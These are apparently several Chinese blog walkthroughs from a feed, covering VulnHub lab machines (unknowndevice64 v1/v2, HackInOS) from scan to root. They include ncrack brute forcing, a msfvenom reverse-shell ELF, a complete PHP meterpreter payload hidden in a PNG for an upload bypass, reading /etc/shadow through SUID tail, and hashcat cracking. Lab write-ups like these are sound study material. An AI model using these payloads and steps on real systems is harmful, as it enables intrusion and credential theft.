首先下载靶机镜像,得到文件unknowndevice64-V2.0.ova,大小为1.59G。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中用Nmap扫描192.168.1.0/24网段,确定靶机的IP地址为192.168.1.9。

端口扫描

先用nmap扫描端口,吸取上次的教训,加上参数“-p-”:

root@kali:~# nmap -Pn -n -sV -p- 192.168.1.9

Nmap扫描结果

结果比较诡异,除了6465端口是熟悉的ssh服务外,5555端口和12345端口都是不认识的服务。

习惯性地用浏览器访问5555端口和12345端口,发现12345端口其实是个web服务,如下图所示,需要输入用户名和密码才能打开。

Web界面-需登录

HTTP认证爆破

看到登录框当然想要爆破一下。原本打算用hydra,但不知出了什么bug,总是报错。也许是因为目标采用的是Digest access authentication而不是Basic access authentication。于是改用Kali自带的工具ncrack进行爆破:

root@kali:~# ncrack -v http://192.168.1.9:12345

ncrack输出结果

很幸运地找到了用户名和密码:administrator:password,名副其实的弱密码。

输入正确的用户名和密码后看到如下图所示地页面。

网页内容

照例查看源码等等,没有发现什么。但看到页面有一个图标:

网页图标

下载下来看看,128像素x128像素,却有18K大,很可疑。

隐写破解

联想到unknowndevice64便是通过隐写破解找到ssh登录凭据地,于是很“合理”地怀疑上图所示地图标中也隐藏了信息。尝试破解。

首先有binwalk看看,果然有发现:

root@kali:~/Downloads/unknowndevice64_v2# binwalk index.png

binwalk输出

正常图片的后面是两个Zlib压缩数据。

提取压缩数据到文件中:

root@kali:~/Downloads/unknowndevice64_v2# dd if=index.png of=data1 skip=85 count=2672 bs=1
root@kali:~/Downloads/unknowndevice64_v2# dd if=index.png of=data2 skip=2757 bs=1

提取压缩数据到文件中的命令截图

然后再写一个Python脚本解压它们。Python脚本文件名为unzlib.py,内容如下:

import sys
from zlib import decompress

input_file = sys.argv[1]
output_file = sys.argv[2]

with open(input_file, 'rb') as f:
    input_data = f.read()
output_data = decompress(input_data)
with open(output_file, 'wb') as f:
    f.write(output_data)

用这个脚本解压提取出的数据:

root@kali:~/Downloads/unknowndevice64_v2# python unzlib.py data1 out1
root@kali:~/Downloads/unknowndevice64_v2# python unzlib.py data2 out2

解压提取出的数据

提取成功,感觉胜利就在眼前。查看第一个文件的类型:

root@kali:~/Downloads/unknowndevice64_v2# file out1

file命令输出

发现是一个颜色配置文件,如下图所示:

颜色配置文件

查看第二个文件的类型:

root@kali:~/Downloads/unknowndevice64_v2# file out2
root@kali:~/Downloads/unknowndevice64_v2# strings out2
root@kali:~/Downloads/unknowndevice64_v2# binwalk out2

命令输出

发现是纯数据。

用二进制编辑器查看其内容:

root@kali:~/Downloads/unknowndevice64_v2# hexeditor out2

二进制编辑器查看其内容

有大量的四字节重复,看着像是bmp图片。一个像素点4bit有两种格式:

  • RGBA (4×8-bit pixels, true color with transparency mask)
  • CMYK (4×8-bit pixels, color separation)

在写一个Python将out2转换成bmp图片,脚本名为img.py,内容为:

import struct
from PIL import Image


def byte2int(byte):
    return struct.unpack('>HH', b'\x00' + byte + b'\x01\x01')[0]


def save_img(width):
    with open('out2', 'rb') as f:
        data = f.read()
    length = len(data)

    im = Image.new('RGBA', (width, length//width//4+1))    # or CMYK

    n = 0
    w = 0
    r = 0
    while True:
        if n+4 > length:
            break
        p = (byte2int(data[n]), byte2int(data[n+1]), byte2int(data[n+2]), byte2int(data[n+3]))
        im.putpixel((w, r), p)
        n += 4
        w += 1
        if w % width == 0:
            w = 0
            r += 1

    im.save('out_{}.png'.format(width), 'PNG')

save_img(126)    # 边长126是猜测

用此脚本将out2转换为bmp图片:

root@kali:~/Documents/unknowndevice64_v2# python img.py

转换成功,然后结果却如下图所示,没有任何用处。

提取出的图片

Web目录爆破

最后实在没辙了,只好重新开始信息收集。

考虑进行Web目录爆破。由于需要认证,所以开始爆破前现在浏览器中登录一次,提取出HTTP请求头中的登录凭据,然后再用dirb进行爆破,并用“-H”参数添加登录凭据:

root@kali:~# dirb http://192.168.1.9:12345/ -H 'Authorization: Digest username="administrator", realm="Secret Zone", nonce="6fOzh9JwfhAuPld55TEUkdYPW+U4u0Z6Bnvz+HZmVNU", uri="/robots.txt", algorithm=MD5, response="4e43458ad13f181568f2c4709d216773", qop=auth, nc=00000005, cnonce="c1e850a15732739b"'

dirb命令输出

找到了三个存在的路径:

  • http://192.168.1.9:12345/index.html (CODE:200|SIZE:28577)
  • http://192.168.1.9:12345/info.php (CODE:200|SIZE:2310)
  • http://192.168.1.9:12345/robots.txt (CODE:200|SIZE:34)

其中/index.html是首页已经看过了,/robots.txt的内容是:

User-agent: *
Disallow: /info.php

看来关键就在/info.php了。

info.php

在浏览器中访问http://192.168.1.9:12345/info.php,结果直接将文件下载下来了。查看其内容为:

<?php                                                           
echo "ssh";                                                     

print "                                                         

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66DC76DE3D5936CDE0A0B5F853493E33

91untRTob5/z64lo3dtMF55jWzXR/ctWMlt6GRJsRhhPsHSiaJjxwL+/5wUvLM/K
YM9IwB3bT3eYHZ4UP2I0qjDuJxK+6scMZvdpJh7KKeql8AJh1TpZrsSvbXkSIDHo
C8Lp+w26LQMhCAw9LgT0BO9qEL1ebC9zzbqTr0/fnzeq12ZDfHCdvkieenLF9VUk
UUsRyytoOgOrG0wb5uKi0hGEZTgVVwfiE/wyxSi3JIonzqcipOCnCEv3qsGq5ep/
/6oALAS2DZt9fGbtvhHsz/YxP7uGxKswMPTF5NB5rWaZ7K39CJNsKDawyivmjLtx
RiTPR7oVkRUZssmL4r5cHFaKQlNw9yqcBo/Nnt3dU/W9q4eSyKrzfeMWizVhEtkG
QataheYvz+XOJo0HMzhnkoomXZ8Zx/vbg0FKm4u67gF4bzqD88vDLkT+mclxPl8J
4fASLyij+Ry9C/k+a62bWHtk/317jqXsdBY3IIC4BeoDnMDBlduB1P19YiI9q9fI
iQymoK47ebtXw2sk5ghjOfFqjxTDwPx1Qqiz5K5Sk4n2n+09OxBzXan3dslqBDt4
dUoCYBYFkGNkZnQO0cvPsqsNj/7awGmvpol71KU/CK1mt71dAPForfhf/1sm5DcX
AhPXXhDjUMKXn0gQXdeHYWiN9UJFN1lxOAWdQMgO6QMXzM9xlIFw+XrPERR0jl5c
f97YlNVydNnVZFNpAOkbWMl9KJu7EwGEQzAK3WaDiP5FA4YljUOwITvZ8wB17Kv6
aF67UzZbowOAOzmVQxrDBPn2MssKWGCm5H9lZLrt9jvS39oT97H5/o/Tq7tSGflh
4F/RKeUMxv060ETLwaYywtHR2qP2EM2Ixc3jcXxkHdJzb1R6q5cAAsnZAWe/B/7F
q5R3B4593leDyEO/12mEaAnioCNa14cEBDF2CYDFfSr/YD4kfJ0mLYJHTA/10acb
UNgvvrT390pi/ESpHKkobE8+qf7w/zp8F4pGAw7rJmmC4YCXFeMQkHsHW5wjYb/o
yzjW1OpW468xcIKNhhnrMiP4ot1awCsmMoEb9VYhpAxIGtTbON+6x680cCRSLP3r
+2AqrAnXSYJmNPrLJVhZLFouXAmok5U4CPJ0JVspH8tkSwMbIJc9rUWtFfZqUjdF
1GpjnoT12F+GmtBAyXCrP0SuDMvO3xa7A62LIETC8IqET7Yo1VpOhsYzlwpQ1698
Gf8HbTdw/2lYedN0xCv4f1qHxVHnTv1E5nDR28eUGjlYNFo5u3R6XVQUuJqg+MCl
7tdLDisXfDuwz0r4FGLGKIhqZqC9zOKn/p5t4h+hanX6Sh6ATw3RsN5aSXERrbJP
UppqiARYZkHzxlubVGK2nAyKTEF9musc4airNDxs3Dfb75OKDbGbhVyFcuNxES5r
W0N0b3gKSxGgqczFG5wZhdHwUIpi1ueNFNBtoHyqd21JPg3aCoYI8XiGRGYxGpnl
JWhnQuu53DzZVcxeBy+LTL42VKafjUUA1OCIX9cAg2Vz8RYxrV8yy0d9R6uA7ByZ
G1uunv0K+QCNzHjyoc6FnGwTi4rTWh9o074XbqswOcdWNRitBDvg+9diBgKvvUw4
-----END RSA PRIVATE KEY-----                                                                

";                                                              

//unkn0wnd3v1c3-64 

?>

竟然是一个私钥,还有一个看上去像是密码的东西“unkn0wnd3v1c3-64”。将私钥保存到文件~/.ssh/id_rsa中,并且设置该文件的权限为0600,然后用ssh登录目标主机,果然需要输入私钥的解密口令,尝试输入“nkn0wnd3v1c3-64”,登录成功,如下图所示。

ssh登录

SSH探索

但登录成功后的shell却十分奇怪:

x86_64:/data/data/org.galexander.sshd/files $ 

从没见过这样的shell提示符。输入ls命令后提示:

ls命令输出

搜索Dropbear发现是个常用于嵌入式系统的轻量级ssh服务端程序。

输入uname命令,惊奇的发现是个android系统:

x86_64:/data/data/org.galexander.sshd/files $ uname -r

uname命令输出

呃,好吧。查看下权限,果然不是root,但尝试用“su root”命令切换为root用户,竟然不用输密码就成功了!这绝对是我见过的最简单的提权了。

whoami命令输出

搜索flag.txt,成功找到:

拿到flag

flag中的两句话也很有趣:

It is fairly open secret that almost all system can be hacked, somehow.
It is a less spoken that such HACKING has actually gone quite main stream.

总结

隐写破解

开始时以为“Zlib compressed data”就是zip文件的意思,便用unzip解压提取出的加密数据,怎么解压都不成功。为此花了很多时间研究zip格式,没有任何用处。到第二天,才忽然开悟,“Zlib compressed data”只是单纯对数据的压缩,直接解压缩就行。

信息收集

如果是按照渗透测试的步骤,先进行扎实的信息收集,就不会陷入到隐写破解的歧途中而浪费很多时间了。

此外看了Walkthrough才知道5555端口是Android的调试端口,Nmap并没有能够准确地识别出来。我过于依赖工具了。

find命令的-name参数是做全匹配搜索的。一开始以为是模糊匹配,搜索“flag”,怎么也搜不到,后来搜索“flag.txt”,才搜到了。平时没有注意这些细节,导致又多费了很多时间。

]]>
https://blog.werner.wiki/penetrate-unknowndevice64-2/feed/ 0
渗透笔记之unknowndevice64 https://blog.werner.wiki/penetrate-unknowndevice64/ https://blog.werner.wiki/penetrate-unknowndevice64/#respond Wed, 05 Jun 2019 14:53:50 +0000 https://blog.werner.wiki/?p=633 背景

unknowndevice64是来自VulnHub的渗透测试靶机。下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了我对其进行渗透的全过程。该靶机较为简单,前后不过几个小时就完成了从boot到root。

准备环境

首先下载靶机镜像,得到文件unknowndevice64-V1.0.ova,大小为282M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中用Nmap扫描192.168.1.0/24网段,确定靶机的IP地址为192.168.1.5。

端口扫描

使用Nmap对靶机进行TCP端口扫描:

root@kali:~# nmap -n -Pn -sV 192.168.1.5

结果如下图所示。

看到只开放了31337端口,是HTTP服务。

使用Nmap对靶机进行UDP端口扫描:

root@kali:~# nmap -n -Pn -sU 192.168.1.5

结果如下图所示。

看到只开放了用于DHCP的68端口。

Web探测

在浏览器访问http://192.168.1.5:31337/,看到如下图所示的页面。

查看网页源码,看到可疑注释:

<!-- key_is_h1dd3n.jpg -->

在浏览器访问http://192.168.1.5:31337/key_is_h1dd3n.jpg,看到如下图所示的页面。

显然是在上图中隐藏了关键信息。

隐写破解

首先查看EXIF信息:

root@kali:~/Downloads/unknowndevice64# exif key_is_h1dd3n.jpg

没有获得任何有用的信息。

然后查看是否有附加数据:

root@kali:~/Downloads/unknowndevice64# binwalk key_is_h1dd3n.jpg

依旧没有任何有用的信息。

多方查找资料后找到名为steghide的隐写工具,尝试用此隐写工具提取数据:

root@kali:~/Downloads/unknowndevice64# steghide --extract -sf key_is_h1dd3n.jpg

需要输入密码,凭直觉输入密码“h1dd3n”,密码正确,提取出了奇怪的字符串:

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.-----------------.<----------------.--.++++++.---------.>-----------------------.<<+++.++.>+++++.--.++++++++++++.>++++++++++++++++++++++++++++++++++++++++.-----------------.

多方搜索后确定该字符串是Brainfuck语言的源码,使用在线工具运行,可得到输出为:

ud64:1M!#64@ud

输出看上去像是用户名和密码。但是这个用户名和密码要在哪里输入呢?HTTP的服务器是“SimpleHTTPServer 0.6 (Python 2.7.14)”,这是个静态服务器,不可能有有效地输入密码的页面。考虑可能是端口扫描结果不全,因为nmap默认只扫描部分端口,不会扫描全部65535个端口。

再次扫描端口

扫描全部65535个端口:

root@kali:~/Downloads/unknowndevice64# nmap 192.168.1.5 -Pn -n -sV -p 1337

惊喜地发现开放了1337端口,而且运行的是SSH服务。

登录试试,发现成功登录:

但执行ls命令出了问题:

原来是一个受限的shell。查看一下$PATH:

ud64@unknowndevice64_v1:~$ echo $PATH

竟然是在当前用户目录中:

/home/ud64/prog

突破限制

用Metasploit制作一个反弹连接程序:

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.200 lport=4444 -f elf -o isshell

将它上传到靶机的“/home/ud64/prog”中:

root@kali:~# scp -P 1337 isshell ud64@192.168.1.5:prog

然后打开Metasploit,监听反弹连接:

接着登录靶机,运行上传的反弹连接程序:

最后再Metasploit中看到反弹连接成功建立:

这样我们便获得了一个不受限的Meterpreter shell。

提权

首先看一下系统信息:

Slackware,真的是很少见的发行版本。

在Meterpreter shell中输入shell命令进行bash shell,然后查看sudo权限:

看到可以免密码执行“/usr/bin/sysud64”。

执行“/usr/bin/sysud64”,加“-h”参数看看:

发现实际执行的是“strace”。搜索可知利用此程序可提权。具体做法为:

bash-4.4$ sudo /usr/bin/sysud64 -o /dev/null /bin/bash

提权成功后读取“/root/flag.txt”,成功拿到flag,内容为:

  ___    _                _                                  
 / _ \  | |              | |                                 
/ /_\ \ | |__   __ _  ___| | _____ _ __                      
|  _  | | '_ \ / _` |/ __| |/ / _ \ '__|                     
| | | | | | | | (_| | (__|   <  __/ |                        
\_| |_/ |_| |_|\__,_|\___|_|\_\___|_|                        


     _                    __             _                   
    | |                  / _|           | |                  
  __| | ___   ___  ___  | |_ ___  _ __  | | _____   _____    
 / _` |/ _ \ / _ \/ __| |  _/ _ \| '__| | |/ _ \ \ / / _ \   
| (_| | (_) |  __/\__ \ | || (_) | |    | | (_) \ V /  __/   
 \__,_|\___/ \___||___/ |_| \___/|_|    |_|\___/ \_/ \___|   


          _           _           _   _                      
         | |         | |         | | | |                     
__      _| |__   __ _| |_    ___ | |_| |__   ___ _ __ ___    
\ \ /\ / / '_ \ / _` | __|  / _ \| __| '_ \ / _ \ '__/ __|   
 \ V  V /| | | | (_| | |_  | (_) | |_| | | |  __/ |  \__ \   
  \_/\_/ |_| |_|\__,_|\__|  \___/ \__|_| |_|\___|_|  |___/   


                     _     _               _         _       
                    | |   | |             | |       | |      
__      _____  _   _| | __| |  _ __   ___ | |_    __| | ___  
\ \ /\ / / _ \| | | | |/ _` | | '_ \ / _ \| __|  / _` |/ _ \ 
 \ V  V / (_) | |_| | | (_| | | | | | (_) | |_  | (_| | (_) |
  \_/\_/ \___/ \__,_|_|\__,_| |_| |_|\___/ \__|  \__,_|\___/ 


  __                                                         
 / _|                                                        
| |_ ___  _ __   _ __ ___   ___  _ __   ___ _   _            
|  _/ _ \| '__| | '_ ` _ \ / _ \| '_ \ / _ \ | | |           
| || (_) | |    | | | | | | (_) | | | |  __/ |_| |_          
|_| \___/|_|    |_| |_| |_|\___/|_| |_|\___|\__, (_)         
                                             __/ |           
                                            |___/            



   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _   _  
  / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ 
 ( . | / | u | n | k | n | o | w | n | d | e | v | i | c | e | 6 | 4 )
  \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ 

总结

总体来说这个靶机还是很简单的,但仍有所收获:

  1. 扫描端口时加上参数“-p-”;
  2. 利用Tab键补全功能可查看所有可执行的命令。

其实完全没有必要制作反弹连接程序,使用ssh登录靶机后按两下Tab键可以看到所有可执行命令,看到其中有vi,利用vi便可绕过restricted bash。

参考

]]>
https://blog.werner.wiki/penetrate-unknowndevice64/feed/ 0
渗透笔记之HackInOS https://blog.werner.wiki/penetrate-hackinos/ https://blog.werner.wiki/penetrate-hackinos/#comments Thu, 23 May 2019 14:45:49 +0000 https://blog.werner.wiki/?p=570 背景

HackInOS是来自VulnHub的渗透测试靶机,下载地址为https://www.vulnhub.com/entry/hackinos-1,295/#download ,下载下来的是一个OVA格式的虚拟机,可在VMware或VirtualBox中打开。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了我对其进行渗透的全过程,开始时间为2019年5月17日。

准备环境

首先下载靶机镜像,得到文件HackInOS.ova,大小为3.02G。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一虚拟网络中还有一台IP地址是192.168.1.5的Kali Linux虚拟机(以下简称Kali)作为攻击者。

导入完成后开启HackInOS虚拟机,看到如下图所示的登录界面,说明环境准备完成。

在Kali中用Nmap扫描192.168.1.0/24网段,确定HackInOS的IP地址为192.168.1.6。由于是在模拟攻击,所以假装看不到上图所示的登录界面,不知道用户名是什么,也不能以Guest的身份登录。

信息收集

端口扫描

使用Nmap对目标IP 192.168.1.6进行TCP端口扫描,命令和输出为:

root@kali:~# nmap -Pn -n -sV 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 10:26 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00013s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds

看到开放了22(SSH)和8000(HTTP)端口。

使用Nmap对目标IP 192.168.1.6进行UDP端口扫描,命令和输出为:

root@kali:~# nmap -Pn -n -sU 192.168.1.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-17 10:29 EDT
Nmap scan report for 192.168.1.6
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf
MAC Address: 08:00:27:20:A9:BC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1093.07 seconds

没有什么很值得关注的东西。

Web信息收集

在Firefox访问http://192.168.1.6:8000/,看到如下图所示的页面,发现排版很混乱,显然是静态资源没有加载成功。

查看请求记录发现有许多发往localhost:8000的请求,于是在Firefox扩展Header Editor中设置一条规则,将发往localhost:8000的请求都重定向到192.168.1.6:8000,设置完成后再访问http://192.168.1.6:8000/,页面加载正常,如下图所示。

由Firefox扩展Wappalyzer,得知目标网站使用的CMS是WordPress 5.0.3。所以使用wpscan对其进行扫描,命令和输出如下。

root@kali:~# wpscan --url http://192.168.1.6:8000/ -e at -e ap -e u  --wp-content-dir wp-content
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.4.3
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[+] URL: http://192.168.1.6:8000/
[+] Started: Fri May 17 22:39:31 2019

Interesting Finding(s):

[+] http://192.168.1.6:8000/
 | Interesting Entries:
 |  - Server: Apache/2.4.25 (Debian)
 |  - X-Powered-By: PHP/7.2.15
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.1.6:8000/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] http://192.168.1.6:8000/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.1.6:8000/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
 | Detected By: Emoji Settings (Passive Detection)
 |  - http://192.168.1.6:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.1.6:8000/, Match: 'WordPress 5.0.3'
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
 |     Fixed in: 5.04
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/9230
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
 |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
 |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
 |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

[i] The main theme could not be detected.

[+] Enumerating Users
 Brute Forcing Author IDs - Time: 00:00:00 <================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] handsome_container
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] Finished: Fri May 17 22:39:34 2019
[+] Requests Done: 2
[+] Cached Requests: 41
[+] Data Sent: 520 B
[+] Data Received: 4.954 KB
[+] Memory used: 4.07 MB
[+] Elapsed time: 00:00:02

从输出信息中看到robots.txt文件存在,访问该文件看到如下内容:

User-agent:*
Disallow:/upload.php
Disallow:/uploads

其中/upload.php很可疑,尝试访问它,看到如下图所示的页面,是一个没有权限验证的上传。

文件上传漏洞利用

首先查看http://192.168.1.6:8000/upload.php页面源码,看到一行值得关注的注释:

<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->

访问注释里的URL:https://github.com/fatihhcelik/Vulnerable-Machine—Hint,找到了upload.php的源码,内容如下:

<!DOCTYPE html>
<html>
<body>
<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>
<?php
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
    $rand_number = rand(1,100);
    $target_dir = "uploads/";
    $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
    $file_name = $target_dir . basename($_FILES["file"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($file_name,PATHINFO_EXTENSION));
    $type = $_FILES["file"]["type"];
    $check = getimagesize($_FILES["file"]["tmp_name"]);
if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
        $uploadOk = 1;
    }else{
        $uploadOk = 0;
        echo ":)";
    } 
  if($uploadOk == 1){
      move_uploaded_file($_FILES["file"]["tmp_name"], $target_file.".".$imageFileType);
      echo "File uploaded /uploads/?";
  }
}
?>
</body>
</html>

这下可好,连源码都有了。阅读源码可知只允许上传PNG或GIF格式的图片,校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98,详情见参考文献1),没有校验文件后缀。通过校验的文件会保存在uploads目录中,有点麻烦的是文件名是一个随机生成的md5值,而后缀保持上传文件的后缀不变。

先生成一个Meterpreter后门:

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.5 lport=4444 -f raw

生成的Payload如下:

/*<?php /**/ error_reporting(0); $ip = '192.168.1.5'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

把生成的Payload保存到文件backdoor.php中,然后随便找一张png图片crown.png,把backdoor.php附件到crown.png的后面。

cat backdoor.php >> crown.png
mv crown.png crown.php

这样便制作好了一个含有后门的图片。

然后打开Metasploit,进入exploit/multi/handler模块,设置Payload和监听主机、监听端口等参数。

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set lhost 192.168.1.5
lhost => 192.168.1.5
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.5:4444 

接着上传含有后门的图片,如下图所示。

上传成功后我们并不知道文件名,需要猜解。写一个简单的Python脚本如下:

import hashlib
import requests
for i in range(101):
    file_name = hashlib.md5('crown.php'+str(i)).hexdigest()
    r = requests.get('http://192.168.1.6:8000/uploads/{}.php'.format(file_name))

运行这个脚本,可以在Metasploit中看到反弹连接成功建立:

至此,我们获得了一个Meterpreter shell。运行getuid命令看看权限:

meterpreter > getuid
Server username: www-data (33)

果然只是一个很低权限的用户,需要提权。

提权

在Web目录中找到Wordpress的配置文件wp-config.php,看到了数据库连接信息:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'wordpress');

/** MySQL hostname */
define('DB_HOST', 'db:3306');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

用的是Mysql,而数据库主机是“db”。

还是先看一看系统信息:

meterpreter > sysinfo
Computer    : 1afdd1f6b82c
OS          : Linux 1afdd1f6b82c 4.15.0-50-generic #54~16.04.1-Ubuntu SMP Wed May 8 15:55:19 UTC 2019 x86_64
Meterpreter : php/linux

主机名为“1afdd1f6b82c”,看着像是在docker容器里,进一步确认;

meterpreter > run post/linux/gather/checkcontainer 
[+] This appears to be a 'Docker' container

还真在docker里。就算是docker里也先提权吧。

先上传一个Linux提权信息收集脚本linuxprivchecker.py:

meterpreter > upload /root/Downloads/linuxprivchecker.py /tmp/linuxprivchecker.py
[*] uploading  : /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] Uploaded -1.00 B of 24.71 KiB (-0.0%): /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py
[*] uploaded   : /root/Downloads/linuxprivchecker.py -> /tmp/linuxprivchecker.py

然后运行这个脚本:

meterpreter > chmod 744 /tmp/linuxprivchecker.py
meterpreter > shell
Process 141 created.
Channel 10 created.
python /tmp/linuxprivchecker.py

这个脚本的输出很多,仔细阅读其输出,注意到tail被设置了SUID:

直接用tail读取shadow文件:

tail -c1G /etc/shadow
root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
daemon:*:17931:0:99999:7:::
bin:*:17931:0:99999:7:::
sys:*:17931:0:99999:7:::
sync:*:17931:0:99999:7:::
games:*:17931:0:99999:7:::
man:*:17931:0:99999:7:::
lp:*:17931:0:99999:7:::
mail:*:17931:0:99999:7:::
news:*:17931:0:99999:7:::
uucp:*:17931:0:99999:7:::
proxy:*:17931:0:99999:7:::
www-data:*:17931:0:99999:7:::
backup:*:17931:0:99999:7:::
list:*:17931:0:99999:7:::
irc:*:17931:0:99999:7:::
gnats:*:17931:0:99999:7:::
nobody:*:17931:0:99999:7:::
_apt:*:17931:0:99999:7:::

成功拿到root用户密码的hash值。先把hash值保存到文件root.hash中,然后用hashcat破解它:

root@kali:~# hashcat -w 3 -a 0 -m 1800 -o root.out root.hash /usr/share/metasploit-framework/data/wordlists/common_roots.txt --force

使用的字典是Metasploit自带的通用字典。很走运,一小会就破解成功了:

查看破解结果:

root@kali:~# cat root.out 
$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:john

密码是john。如果我使用“John the ripper”来破解hash,这个结果就很好玩了。

